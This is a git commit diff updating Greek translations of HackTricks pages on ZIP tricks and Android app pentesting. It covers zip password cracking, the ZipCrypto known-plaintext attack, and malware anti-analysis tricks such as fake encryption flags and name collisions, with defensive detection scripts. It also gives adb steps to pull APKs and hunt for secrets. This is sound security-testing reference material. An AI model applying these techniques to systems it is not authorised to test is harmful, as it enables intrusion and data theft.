mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/content-security-policy-csp-bypass/R
This commit is contained in:
parent
17d2d9fbe1
commit
e852931e9b
@ -1,30 +1,30 @@
|
|||||||
# Τρικ για ZIPs
|
# Κόλπα για ZIPs
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
**Εργαλεία γραμμής εντολών** για τη διαχείριση αρχείων zip είναι απαραίτητα για τη διάγνωση, επιδιόρθωση και cracking αρχείων zip. Ακολουθούν μερικά βασικά utilities:
|
**Εργαλεία γραμμής εντολών** για τη διαχείριση zip αρχείων είναι απαραίτητα για τη διάγνωση, την επιδιόρθωση και το cracking zip αρχείων. Εδώ είναι μερικά βασικά βοηθητικά προγράμματα:
|
||||||
|
|
||||||
- **`unzip`**: Αποκαλύπτει γιατί ένα αρχείο zip μπορεί να μην αποσυμπιεστεί.
|
- **`unzip`**: Αποκαλύπτει γιατί ένα zip αρχείο μπορεί να μην αποσυμπιεστεί.
|
||||||
- **`zipdetails -v`**: Παρέχει λεπτομερή ανάλυση των πεδίων του format zip.
|
- **`zipdetails -v`**: Παρέχει λεπτομερή ανάλυση των πεδίων του format των zip αρχείων.
|
||||||
- **`zipinfo`**: Καταγράφει τα περιεχόμενα ενός αρχείου zip χωρίς να τα εξάγει.
|
- **`zipinfo`**: Λίστα με τα περιεχόμενα ενός zip αρχείου χωρίς να τα εξαγάγετε.
|
||||||
- **`zip -F input.zip --out output.zip`** και **`zip -FF input.zip --out output.zip`**: Προσπαθούν να επιδιορθώσουν corrupted αρχεία zip.
|
- **`zip -F input.zip --out output.zip`** και **`zip -FF input.zip --out output.zip`**: Προσπαθούν να επιδιορθώσουν κατεστραμμένα zip αρχεία.
|
||||||
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Ένα εργαλείο για brute-force cracking κωδικών zip, αποτελεσματικό για κωδικούς περίπου έως 7 χαρακτήρες.
|
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Εργαλείο για brute-force cracking των κωδικών zip, αποτελεσματικό για κωδικούς μέχρι περίπου 7 χαρακτήρες.
|
||||||
|
|
||||||
Η [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) παρέχει πλήρεις λεπτομέρειες για τη δομή και τα standards των αρχείων zip.
|
Η [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) παρέχει αναλυτικές λεπτομέρειες για τη δομή και τα πρότυπα των zip αρχείων.
|
||||||
|
|
||||||
Είναι κρίσιμο να σημειωθεί ότι τα password-protected αρχεία zip **δεν κρυπτογραφούν τα ονόματα αρχείων ή τα μεγέθη αρχείων** στο εσωτερικό, ένα πρόβλημα ασφάλειας που δεν ισχύει για RAR ή 7z που κρυπτογραφούν αυτή την πληροφορία. Επιπλέον, αρχεία zip κρυπτογραφημένα με την παλαιότερη μέθοδο ZipCrypto είναι ευάλωτα σε μια plaintext attack εάν υπάρχει διαθέσιμη μια μη κρυπτογραφημένη αντίγραφα ενός συμπιεσμένου αρχείου. Αυτή η επίθεση εκμεταλλεύεται το γνωστό περιεχόμενο για να σπάσει τον κωδικό του zip, μια ευπάθεια που αναλύεται στο [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) και εξηγείται αναλυτικότερα σε [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Ωστόσο, αρχεία zip που προστατεύονται με AES-256 είναι ανθεκτικά σε αυτή την plaintext attack, υπογραμμίζοντας τη σημασία της επιλογής ασφαλών μεθόδων κρυπτογράφησης για ευαίσθητα δεδομένα.
|
Είναι κρίσιμο να σημειωθεί ότι τα password-protected zip αρχεία **δεν κρυπτογραφούν τα ονόματα αρχείων ή τα μεγέθη αρχείων** στο εσωτερικό τους, ένα πρόβλημα ασφάλειας που δεν υπάρχει σε RAR ή 7z αρχεία τα οποία κρυπτογραφούν αυτές τις πληροφορίες. Επιπλέον, τα zip αρχεία κρυπτογραφημένα με την παλαιότερη μέθοδο ZipCrypto είναι ευάλωτα σε μια **plaintext attack** αν υπάρχει διαθέσιμη μη κρυπτογραφημένη αντίγραφο ενός συμπιεσμένου αρχείου. Αυτή η επίθεση αξιοποιεί το γνωστό περιεχόμενο για να σπάσει τον κωδικό του zip, μια ευπάθεια που αναλύεται στο [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) και εξηγείται περαιτέρω σε [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Ωστόσο, τα zip αρχεία προστατευμένα με **AES-256** κρυπτογράφηση είναι ανθεκτικά στην plaintext attack, υπογραμμίζοντας τη σημασία της επιλογής ασφαλών μεθόδων κρυπτογράφησης για ευαίσθητα δεδομένα.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Τεχνικές αντι-ανάλυσης σε APKs χρησιμοποιώντας παραποιημένα headers ZIP
|
## Anti-reversing tricks in APKs using manipulated ZIP headers
|
||||||
|
|
||||||
Σύγχρονοι Android malware droppers χρησιμοποιούν κακοσχηματισμένα metadata ZIP για να σπάσουν statικά εργαλεία (jadx/apktool/unzip) ενώ διατηρούν το APK εγκαταστάσιμο στη συσκευή. Τα πιο συνηθισμένα τρικ είναι:
|
Οι σύγχρονοι Android malware droppers χρησιμοποιούν κακοσχηματισμένα ZIP metadata για να χαλάσουν στατικά εργαλεία (jadx/apktool/unzip) ενώ το APK παραμένει εγκαταστάσιμο στη συσκευή. Τα πιο κοινά κόλπα είναι:
|
||||||
|
|
||||||
- Fake encryption by setting the ZIP General Purpose Bit Flag (GPBF) bit 0
|
- Fake encryption ρυθμίζοντας το ZIP General Purpose Bit Flag (GPBF) bit 0
|
||||||
- Abusing large/custom Extra fields to confuse parsers
|
- Κατάχρηση μεγάλων/προσαρμοσμένων Extra fields για σύγχυση των parser
|
||||||
- File/directory name collisions to hide real artifacts (e.g., a directory named `classes.dex/` next to the real `classes.dex`)
|
- Συγκρούσεις ονομάτων αρχείων/φακέλων για να κρύψουν πραγματικά artifacts (π.χ., ένας φάκελος με όνομα `classes.dex/` δίπλα στο πραγματικό `classes.dex`)
|
||||||
|
|
||||||
### 1) Fake encryption (GPBF bit 0 set) χωρίς πραγματικό crypto
|
### 1) Fake encryption (GPBF bit 0 set) χωρίς πραγματική κρυπτογράφηση
|
||||||
|
|
||||||
Συμπτώματα:
|
Συμπτώματα:
|
||||||
- `jadx-gui` αποτυγχάνει με σφάλματα όπως:
|
- `jadx-gui` αποτυγχάνει με σφάλματα όπως:
|
||||||
@ -32,7 +32,7 @@
|
|||||||
```
|
```
|
||||||
java.util.zip.ZipException: invalid CEN header (encrypted entry)
|
java.util.zip.ZipException: invalid CEN header (encrypted entry)
|
||||||
```
|
```
|
||||||
- `unzip` ζητάει κωδικό για βασικά αρχεία APK παρόλο που ένα έγκυρο APK δεν μπορεί να έχει encrypted `classes*.dex`, `resources.arsc`, ή `AndroidManifest.xml`:
|
- `unzip` ζητάει κωδικό για βασικά αρχεία του APK παρόλο που ένα έγκυρο APK δεν μπορεί να έχει κρυπτογραφημένα `classes*.dex`, `resources.arsc`, ή `AndroidManifest.xml`:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
unzip sample.apk
|
unzip sample.apk
|
||||||
@ -47,7 +47,7 @@ skipping: classes2.dex incorrect password
|
|||||||
```bash
|
```bash
|
||||||
zipdetails -v sample.apk | less
|
zipdetails -v sample.apk | less
|
||||||
```
|
```
|
||||||
Δες το General Purpose Bit Flag για τα local και central headers. Μια χαρακτηριστική τιμή είναι το bit 0 set (Encryption) ακόμη και για core entries:
|
Κοιτάξτε το General Purpose Bit Flag για τα local and central headers. Μια ενδεικτική τιμή είναι το bit 0 set (Encryption) ακόμη και για core entries:
|
||||||
```
|
```
|
||||||
Extract Zip Spec 2D '4.5'
|
Extract Zip Spec 2D '4.5'
|
||||||
General Purpose Flag 0A09
|
General Purpose Flag 0A09
|
||||||
@ -56,9 +56,9 @@ General Purpose Flag 0A09
|
|||||||
[Bit 3] 1 'Streamed'
|
[Bit 3] 1 'Streamed'
|
||||||
[Bit 11] 1 'Language Encoding'
|
[Bit 11] 1 'Language Encoding'
|
||||||
```
|
```
|
||||||
Ευρετικό: Αν ένα APK εγκαθίσταται και τρέχει στη συσκευή αλλά βασικές εγγραφές εμφανίζονται "encrypted" στα εργαλεία, το GPBF έχει παραποιηθεί.
|
Ευρετική: Αν ένα APK εγκαθίσταται και τρέχει στη συσκευή αλλά οι βασικές εγγραφές εμφανίζονται ως "encrypted" στα εργαλεία, η GPBF έχει παραποιηθεί.
|
||||||
|
|
||||||
Διόρθωση: Καθαρίστε το GPBF bit 0 τόσο στις Local File Headers (LFH) όσο και στις Central Directory (CD) εγγραφές. Minimal byte-patcher:
|
Διόρθωση: καθαρίστε το bit 0 της GPBF τόσο στις Local File Headers (LFH) όσο και στις εγγραφές του Central Directory (CD). Ελάχιστος byte-patcher:
|
||||||
```python
|
```python
|
||||||
# gpbf_clear.py – clear encryption bit (bit 0) in ZIP local+central headers
|
# gpbf_clear.py – clear encryption bit (bit 0) in ZIP local+central headers
|
||||||
import struct, sys
|
import struct, sys
|
||||||
@ -94,31 +94,31 @@ print(f'Patched: LFH={p_lfh}, CDH={p_cdh}')
|
|||||||
python3 gpbf_clear.py obfuscated.apk normalized.apk
|
python3 gpbf_clear.py obfuscated.apk normalized.apk
|
||||||
zipdetails -v normalized.apk | grep -A2 "General Purpose Flag"
|
zipdetails -v normalized.apk | grep -A2 "General Purpose Flag"
|
||||||
```
|
```
|
||||||
Τώρα θα πρέπει να βλέπετε `General Purpose Flag 0000` στις βασικές εγγραφές και τα εργαλεία θα αναλύσουν ξανά το APK.
|
Τώρα θα πρέπει να δείτε `General Purpose Flag 0000` στις βασικές εγγραφές και τα εργαλεία θα αναλύσουν ξανά το APK.
|
||||||
|
|
||||||
### 2) Μεγάλα/προσαρμοσμένα Extra fields για να προκαλέσουν σφάλματα στους parsers
|
### 2) Μεγάλα/προσαρμοσμένα Extra fields για να σπάσουν parsers
|
||||||
|
|
||||||
Οι επιτιθέμενοι γεμίζουν υπερμεγέθη Extra fields και ασυνήθιστα IDs στις κεφαλίδες για να μπερδέψουν τους decompilers. Στην πράξη μπορεί να δείτε προσαρμοσμένους δείκτες (π.χ., strings like `JADXBLOCK`) ενσωματωμένους εκεί.
|
Οι επιτιθέμενοι γεμίζουν υπερμεγέθη Extra fields και ασυνήθιστα IDs στις κεφαλίδες για να προκαλέσουν σφάλματα στους decompilers. Στο φυσικό περιβάλλον μπορεί να δείτε προσαρμοσμένους δείκτες (π.χ., συμβολοσειρές όπως `JADXBLOCK`) ενσωματωμένους εκεί.
|
||||||
|
|
||||||
Έλεγχος:
|
Έλεγχος:
|
||||||
```bash
|
```bash
|
||||||
zipdetails -v sample.apk | sed -n '/Extra ID/,+4p' | head -n 50
|
zipdetails -v sample.apk | sed -n '/Extra ID/,+4p' | head -n 50
|
||||||
```
|
```
|
||||||
Παραδείγματα που παρατηρήθηκαν: άγνωστα IDs όπως `0xCAFE` ("Java Executable") ή `0x414A` ("JA:") που μεταφέρουν μεγάλα payloads.
|
Examples observed: unknown IDs like `0xCAFE` ("Java Executable") or `0x414A` ("JA:") carrying large payloads.
|
||||||
|
|
||||||
DFIR ευριστικές:
|
DFIR heuristics:
|
||||||
- Ειδοποίηση όταν τα Extra fields είναι ασυνήθιστα μεγάλα σε βασικές καταχωρίσεις (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`).
|
- Ειδοποίηση όταν τα Extra fields είναι ασυνήθιστα μεγάλα σε core entries (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`).
|
||||||
- Θεώρησε τα άγνωστα Extra IDs σε αυτές τις καταχωρίσεις ως ύποπτα.
|
- Θεωρήστε άγνωστα Extra IDs σε αυτές τις εγγραφές ως ύποπτα.
|
||||||
|
|
||||||
Πρακτική αντιμετώπιση: η επαν-δημιουργία του αρχείου (π.χ., επανασυμπίεση των εξαγόμενων αρχείων) αφαιρεί κακόβουλα Extra fields. Αν εργαλεία αρνηθούν να εξαγάγουν λόγω ψεύτικης κρυπτογράφησης, πρώτα καθάριστε το GPBF bit 0 όπως παραπάνω, και μετά επανασυσκευάστε:
|
Practical mitigation: rebuilding the archive (e.g., re-zipping extracted files) strips malicious Extra fields. If tools refuse to extract due to fake encryption, first clear GPBF bit 0 as above, then repackage:
|
||||||
```bash
|
```bash
|
||||||
mkdir /tmp/apk
|
mkdir /tmp/apk
|
||||||
unzip -qq normalized.apk -d /tmp/apk
|
unzip -qq normalized.apk -d /tmp/apk
|
||||||
(cd /tmp/apk && zip -qr ../clean.apk .)
|
(cd /tmp/apk && zip -qr ../clean.apk .)
|
||||||
```
|
```
|
||||||
### 3) Συγκρούσεις ονομάτων αρχείων/καταλόγων (απόκρυψη πραγματικών τεκμηρίων)
|
### 3) Σύγκρουση ονομάτων αρχείου/καταλόγου (απόκρυψη πραγματικών στοιχείων)
|
||||||
|
|
||||||
A ZIP μπορεί να περιέχει τόσο ένα αρχείο `X` όσο και έναν κατάλογο `X/`. Ορισμένα extractors και decompilers μπερδεύονται και μπορεί να επικαλύψουν ή να κρύψουν το πραγματικό αρχείο με μια καταχώρηση καταλόγου. Αυτό έχει παρατηρηθεί με καταχωρήσεις που συγκρούονται με βασικά ονόματα APK όπως `classes.dex`.
|
Ένα ZIP μπορεί να περιέχει τόσο ένα αρχείο `X` όσο και έναν κατάλογο `X/`. Ορισμένοι extractors και decompilers μπερδεύονται και μπορεί να επικάλυψουν ή να αποκρύψουν το πραγματικό αρχείο με μια καταχώρηση καταλόγου. Αυτό έχει παρατηρηθεί με καταχωρήσεις που συγκρούονται με βασικά ονόματα APK όπως `classes.dex`.
|
||||||
|
|
||||||
Triage και ασφαλής εξαγωγή:
|
Triage και ασφαλής εξαγωγή:
|
||||||
```bash
|
```bash
|
||||||
@ -131,7 +131,7 @@ unzip normalized.apk -d outdir
|
|||||||
# replace outdir/classes.dex? [y]es/[n]o/[A]ll/[N]one/[r]ename: r
|
# replace outdir/classes.dex? [y]es/[n]o/[A]ll/[N]one/[r]ename: r
|
||||||
# new name: unk_classes.dex
|
# new name: unk_classes.dex
|
||||||
```
|
```
|
||||||
Προγραμματικός εντοπισμός post-fix:
|
Προγραμματική ανίχνευση post-fix:
|
||||||
```python
|
```python
|
||||||
from zipfile import ZipFile
|
from zipfile import ZipFile
|
||||||
from collections import defaultdict
|
from collections import defaultdict
|
||||||
@ -149,9 +149,9 @@ if len(variants) > 1:
|
|||||||
print('COLLISION', base, '->', variants)
|
print('COLLISION', base, '->', variants)
|
||||||
```
|
```
|
||||||
Ιδέες ανίχνευσης για Blue-team:
|
Ιδέες ανίχνευσης για Blue-team:
|
||||||
- Επισήμανση των APKs των οποίων οι τοπικές κεφαλίδες δηλώνουν κρυπτογράφηση (GPBF bit 0 = 1) αλλά παρόλα αυτά εγκαθίστανται/εκτελούνται.
|
- Επισημάνετε APKs των οποίων οι τοπικές κεφαλίδες δηλώνουν κρυπτογράφηση (GPBF bit 0 = 1) αλλά εγκαθίστανται/εκτελούνται.
|
||||||
- Επισήμανση μεγάλων/άγνωστων Extra fields σε core entries (ψάξτε για δείκτες όπως `JADXBLOCK`).
|
- Επισημάνετε μεγάλα/άγνωστα Extra fields σε core entries (αναζητήστε markers όπως `JADXBLOCK`).
|
||||||
- Επισήμανση συγκρούσεων διαδρομών (`X` and `X/`) ειδικά για `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`.
|
- Επισημάνετε path-collisions (`X` και `X/`) ειδικά για `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
File diff suppressed because it is too large
Load Diff
@ -1,10 +1,10 @@
|
|||||||
# Pentesting Εφαρμογών Android
|
# Εφαρμογές Android Pentesting
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Βασικά στοιχεία Εφαρμογών Android
|
## Βασικά για Εφαρμογές Android
|
||||||
|
|
||||||
Συνιστάται έντονα να ξεκινήσετε διαβάζοντας αυτή τη σελίδα για να μάθετε σχετικά με τα **πιο σημαντικά μέρη που σχετίζονται με την ασφάλεια Android και τα πιο επικίνδυνα components σε μια εφαρμογή Android**:
|
Συνιστάται ιδιαίτερα να ξεκινήσετε διαβάζοντας αυτή τη σελίδα για να γνωρίσετε τα **πιο σημαντικά στοιχεία σχετικά με την ασφάλεια Android και τα πιο επικίνδυνα συστατικά σε μια εφαρμογή Android**:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -13,15 +13,15 @@ android-applications-basics.md
|
|||||||
|
|
||||||
## ADB (Android Debug Bridge)
|
## ADB (Android Debug Bridge)
|
||||||
|
|
||||||
Αυτό είναι το κύριο εργαλείο που χρειάζεστε για να συνδεθείτε σε μια συσκευή Android (emulated ή physical).\
|
Αυτό είναι το κύριο εργαλείο που χρειάζεστε για να συνδεθείτε με μια συσκευή Android (εξομοιωμένη ή φυσική).\
|
||||||
**ADB** επιτρέπει τον έλεγχο συσκευών είτε μέσω **USB** είτε μέσω **Network** από έναν υπολογιστή. Αυτό το βοηθητικό πρόγραμμα επιτρέπει την **αντιγραφή** αρχείων και στις δύο κατευθύνσεις, την **εγκατάσταση** και **απεγκατάσταση** εφαρμογών, την **εκτέλεση** εντολών shell, τη **δημιουργία αντιγράφων ασφαλείας** δεδομένων, την **ανάγνωση** των logs, μεταξύ άλλων λειτουργιών.
|
**ADB** επιτρέπει τον έλεγχο συσκευών είτε μέσω **USB** είτε μέσω **Network** από έναν υπολογιστή. Αυτό το εργαλείο επιτρέπει την **αντιγραφή** αρχείων και στις δύο κατευθύνσεις, την **εγκατάσταση** και **απεγκατάσταση** εφαρμογών, την **εκτέλεση** εντολών shell, τη **δημιουργία αντιγράφων ασφαλείας** δεδομένων, την **ανάγνωση** των logs, μεταξύ άλλων λειτουργιών.
|
||||||
|
|
||||||
Ρίξτε μια ματιά στην παρακάτω λίστα με [**ADB Commands**](adb-commands.md) για να μάθετε πώς να χρησιμοποιείτε το adb.
|
Ρίξτε μια ματιά στην παρακάτω λίστα των [**ADB Commands**](adb-commands.md) για να μάθετε πώς να χρησιμοποιείτε το adb.
|
||||||
|
|
||||||
## Smali
|
## Smali
|
||||||
|
|
||||||
Μερικές φορές είναι χρήσιμο να **τροποποιήσετε τον κώδικα της εφαρμογής** για να αποκτήσετε πρόσβαση σε **κρυφές πληροφορίες** (ίσως καλά obfuscated passwords ή flags). Τότε, μπορεί να είναι ενδιαφέρον να αποσυμπιέσετε το apk, να τροποποιήσετε τον κώδικα και να το ξανασυμπιέσετε.\
|
Μερικές φορές είναι ενδιαφέρον να **τροποποιήσετε τον κώδικα της εφαρμογής** για να αποκτήσετε πρόσβαση σε **κρυφές πληροφορίες** (π.χ. πολύ καλά obfuscated passwords ή flags). Σε αυτή την περίπτωση, μπορεί να είναι ενδιαφέρον να αποσυμπιλέξετε το apk, να τροποποιήσετε τον κώδικα και να το επανασυμπιέσετε.\
|
||||||
[**Σε αυτό το tutorial** μπορείτε να **μάθετε πώς να αποσυμπιέζετε ένα APK, να τροποποιείτε Smali κώδικα και να επανασυμπιέζετε το APK** με τη νέα λειτουργικότητα](smali-changes.md). Αυτό μπορεί να είναι πολύ χρήσιμο ως **εναλλακτική για αρκετές δοκιμές κατά τη διάρκεια της δυναμικής ανάλυσης** που θα παρουσιαστούν. Επομένως, **κρατήστε πάντα στο μυαλό σας αυτή τη δυνατότητα**.
|
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Αυτό μπορεί να είναι πολύ χρήσιμο ως **εναλλακτική για αρκετές δοκιμές κατά τη διάρκεια της dynamic analysis** που πρόκειται να παρουσιαστούν. Επομένως, **έχετε πάντα υπόψη αυτήν την πιθανότητα**.
|
||||||
|
|
||||||
## Άλλα ενδιαφέροντα κόλπα
|
## Άλλα ενδιαφέροντα κόλπα
|
||||||
|
|
||||||
@ -29,8 +29,8 @@ android-applications-basics.md
|
|||||||
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
|
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
|
||||||
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
|
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
|
||||||
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
|
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
|
||||||
- **Λήψη APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||||
- Εξαγωγή APK από συσκευή:
|
- Εξαγωγή APK από τη συσκευή:
|
||||||
```bash
|
```bash
|
||||||
adb shell pm list packages
|
adb shell pm list packages
|
||||||
com.android.insecurebankv2
|
com.android.insecurebankv2
|
||||||
@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
|||||||
|
|
||||||
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||||
```
|
```
|
||||||
- Συγχωνεύστε όλα τα splits και τα base apks με [APKEditor](https://github.com/REAndroid/APKEditor):
|
- Συγχώνευσε όλα τα splits και τα base apks με [APKEditor](https://github.com/REAndroid/APKEditor):
|
||||||
```bash
|
```bash
|
||||||
mkdir splits
|
mkdir splits
|
||||||
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
|
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
|
||||||
@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
|
|||||||
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
|
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
|
||||||
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||||
```
|
```
|
||||||
## Μελέτες Περίπτωσης & Ευπάθειες
|
## Μελέτες Περιπτώσεων & Ευπάθειες
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -63,39 +63,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
|||||||
|
|
||||||
## Στατική Ανάλυση
|
## Στατική Ανάλυση
|
||||||
|
|
||||||
Πρώτα απ' όλα, για την ανάλυση ενός APK θα πρέπει να **ρίξετε μια ματιά στον Java code** χρησιμοποιώντας έναν decompiler.\
|
Πρώτα απ' όλα, για την ανάλυση ενός APK πρέπει **να ρίξετε μια ματιά στον κώδικα Java** χρησιμοποιώντας έναν decompiler.\
|
||||||
Please, [**read here to find information about different available decompilers**](apk-decompilers.md).
|
Παρακαλώ, [**διαβάστε εδώ για να βρείτε πληροφορίες σχετικά με διαφορετικούς διαθέσιμους decompilers**](apk-decompilers.md).
|
||||||
|
|
||||||
### Αναζήτηση ενδιαφέρουσας πληροφορίας
|
### Αναζήτηση ενδιαφέρουσων πληροφοριών
|
||||||
|
|
||||||
Απλώς κοιτάζοντας τα **strings** του APK μπορείτε να αναζητήσετε **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **API keys**, **encryption**, **bluetooth uuids**, **tokens** και οτιδήποτε ενδιαφέρον... ψάξτε ακόμα και για code execution **backdoors** ή authentication backdoors (hardcoded admin credentials στην εφαρμογή).
|
Απλά κοιτάζοντας τα **strings** του APK μπορείτε να ψάξετε για **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** και οτιδήποτε ενδιαφέρον... ψάξτε ακόμα για code execution **backdoors** ή authentication backdoors (hardcoded admin credentials στην εφαρμογή).
|
||||||
|
|
||||||
**Firebase**
|
**Firebase**
|
||||||
|
|
||||||
Δώστε ιδιαίτερη προσοχή σε **Firebase URLs** και ελέγξτε αν είναι κακώς ρυθμισμένο. [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
Δώστε ιδιαίτερη προσοχή στα **firebase URLs** και ελέγξτε αν είναι κακώς ρυθμισμένα. [Περισσότερες πληροφορίες σχετικά με το τι είναι το Firebase και πώς να το εκμεταλλευτείτε εδώ.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||||
|
|
||||||
### Βασική κατανόηση της εφαρμογής - Manifest.xml, strings.xml
|
### Βασική κατανόηση της εφαρμογής - Manifest.xml, strings.xml
|
||||||
|
|
||||||
Η **εξέταση των αρχείων _Manifest.xml_ και **_strings.xml_** μιας εφαρμογής μπορεί να αποκαλύψει πιθανές ευπάθειες ασφάλειας**. Αυτά τα αρχεία μπορούν να προσπελαστούν χρησιμοποιώντας decompilers ή μετονομάζοντας την επέκταση του APK σε .zip και αποσυμπιέζοντας το.
|
Η **εξέταση των αρχείων _Manifest.xml_ και _strings.xml_ μιας εφαρμογής μπορεί να αποκαλύψει πιθανούς κινδύνους ασφαλείας**. Αυτά τα αρχεία μπορούν να προσπελαστούν χρησιμοποιώντας decompilers ή με την αλλαγή της επέκτασης αρχείου του APK σε .zip και αποσυμπίεση.
|
||||||
|
|
||||||
**Ευπάθειες** που εντοπίζονται από το **Manifest.xml** περιλαμβάνουν:
|
**Οι ευπάθειες** που εντοπίζονται από το **Manifest.xml** περιλαμβάνουν:
|
||||||
|
|
||||||
- **Debuggable Applications**: Εφαρμογές που έχουν οριστεί ως debuggable (`debuggable="true"`) στο _Manifest.xml_ αποτελούν ρίσκο καθώς επιτρέπουν συνδέσεις που μπορούν να οδηγήσουν σε exploitation. Για περαιτέρω κατανόηση του πώς να εκμεταλλευτείτε debuggable applications, ανατρέξτε σε ένα tutorial για τον εντοπισμό και την εκμετάλλευση debuggable applications σε μια συσκευή.
|
- **Debuggable Applications**: Εφαρμογές που ορίζονται ως debuggable (`debuggable="true"`) στο _Manifest.xml_ αποτελούν κίνδυνο καθώς επιτρέπουν συνδέσεις που μπορούν να οδηγήσουν σε εκμετάλλευση. Για περισσότερη κατανόηση σχετικά με το πώς να εκμεταλλευτείτε debuggable εφαρμογές, ανατρέξτε σε έναν οδηγό για την εύρεση και εκμετάλλευση debuggable εφαρμογών σε μια συσκευή.
|
||||||
- **Backup Settings**: Το `android:allowBackup="false"` attribute θα πρέπει να ορίζεται ρητά για εφαρμογές που χειρίζονται ευαίσθητες πληροφορίες ώστε να αποτραπούν μη εξουσιοδοτημένα backups δεδομένων μέσω adb, ιδιαίτερα όταν το usb debugging είναι ενεργοποιημένο.
|
- **Backup Settings**: Το attribute `android:allowBackup="false"` πρέπει να ορίζεται ρητά για εφαρμογές που διαχειρίζονται ευαίσθητες πληροφορίες ώστε να αποτρέπονται μη εξουσιοδοτημένα backups δεδομένων μέσω adb, ειδικά όταν το usb debugging είναι ενεργοποιημένο.
|
||||||
- **Network Security**: Custom network security configurations (`android:networkSecurityConfig="@xml/network_security_config"`) στο _res/xml/_ μπορούν να καθορίσουν λεπτομέρειες ασφάλειας όπως certificate pins και ρυθμίσεις για HTTP traffic. Ένα παράδειγμα είναι η επιτρεπόμενη HTTP κίνηση για συγκεκριμένα domains.
|
- **Network Security**: Προσαρμοσμένες ρυθμίσεις network security (`android:networkSecurityConfig="@xml/network_security_config"`) σε _res/xml/_ μπορούν να καθορίσουν λεπτομέρειες ασφαλείας όπως certificate pins και ρυθμίσεις HTTP traffic. Ένα παράδειγμα είναι η επιτρεψή του HTTP traffic για συγκεκριμένα domains.
|
||||||
- **Exported Activities and Services**: Η αναγνώριση exported activities και services στο manifest μπορεί να αναδείξει components που ενδέχεται να καταχραστούν. Περαιτέρω ανάλυση κατά τη διάρκεια dynamic testing μπορεί να δείξει πώς να εκμεταλλευτείτε αυτά τα components.
|
- **Exported Activities and Services**: Ο εντοπισμός exported activities και services στο manifest μπορεί να αναδείξει components που θα μπορούσαν να χρησιμοποιηθούν καταχρηστικά. Περαιτέρω ανάλυση κατά τη διάρκεια dynamic testing μπορεί να αποκαλύψει πώς να εκμεταλλευτείτε αυτά τα components.
|
||||||
- **Content Providers and FileProviders**: Εκτεθειμένοι content providers θα μπορούσαν να επιτρέψουν μη εξουσιοδοτημένη πρόσβαση ή τροποποίηση δεδομένων. Η διαμόρφωση των FileProviders πρέπει επίσης να ελεγχθεί προσεκτικά.
|
